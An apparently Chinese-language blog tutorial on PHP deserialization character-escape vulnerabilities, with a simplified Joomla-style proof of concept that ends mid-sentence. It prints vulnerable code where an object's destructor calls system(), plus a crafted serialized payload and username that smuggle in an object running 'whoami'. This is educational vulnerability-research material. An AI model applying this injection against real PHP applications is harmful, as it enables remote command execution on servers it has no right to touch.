title: PHP反序列化字符逃逸date: 2020/2/16 20:46:25
categories: 代码审计
tags: 代码审计
漏洞产生原因:当开发者先将对象序列化然后再将对象中的字符进行过滤,最后再将其反序列化。这个时候就有可能产生PHP反序列化字符逃逸。
前置:
php序列化的特性
在进行反序列化时会对着s的值即字符穿长度,向右进项读取。
当读取的长度不符合时会报错。
以为此时s为3但是他的值是name长度为4,在php中反序列化结束符号是;结尾的,但是当读取到第三位时即nam没有遇到分号,所以会报错,当我们在后面添加分号就不会报错。
例子:
正常的将对象序列化:
可见name的值为27位字符长度
我们需要逃逸出的payload的长度位24
假设h是危险字符对其进行过滤,将一个h替换9个t,那么3个h就会变成27个t,
O:4:"test":2:{s:4:"name";s:27:"ttttttttttttttttttttttttttt";s:3:"age";s:3:"yess";}";s:3:"age";s:2:"wq";}
那么由于name后的字符长度值s仍然为27,那么如果变成了27个t,按照反序列化的规则,到第27个字符就读取结束以;来结束。
逃逸成功
Joomla 分析
从网上copy简化的Joomla代码:
<?php
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
file_put_contents("dbs.txt", $data);
}
function read(){
$data = file_get_contents("dbs.txt");
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
if(file_exists("dbs.txt")){
unlink("dbs.txt");
}
$username = "peri0d";
$password = "1234";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
可以看到可以通过destruct魔术方法来调用system来系统命令,所以我们在构造payload的时候,可以构造出evil这个类,当该类销毁是会触发destruct方法,所以我们可以在构造出payload:$payload = ‘s:2:”ts”;O:4:”evil”:1:{s:3:”cmd”;s:6:”whoami”;}’;我们可以让evil逃逸出来,这样反序列化的时候就会触发,evil类中的__destruct的方法。
接下来看下面的代码:
注意需要符合序列化的标准所以payload.”}”;
那么我们逃逸的思路就是让username的值把password的值包括进去,只留下evil类是我们需要逃逸出来的。所以我们username需要包含”;s:8:”password”;s:54:”1234这么多,一共27个长度。
接下来在看源代码中看到read这个方法
把一组\0\0\0替换成3个字符长度,长度减少一半。
我们在调用read方法时后会进行过滤,\0\0\0 6个字符长度会被替换成3个字符长度
所以我们可以设置username的值为9组\0\0\0 那么经过read方法过滤后长度就会缩短到27个,就会包含到上图的password的值
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
所以我们最后执行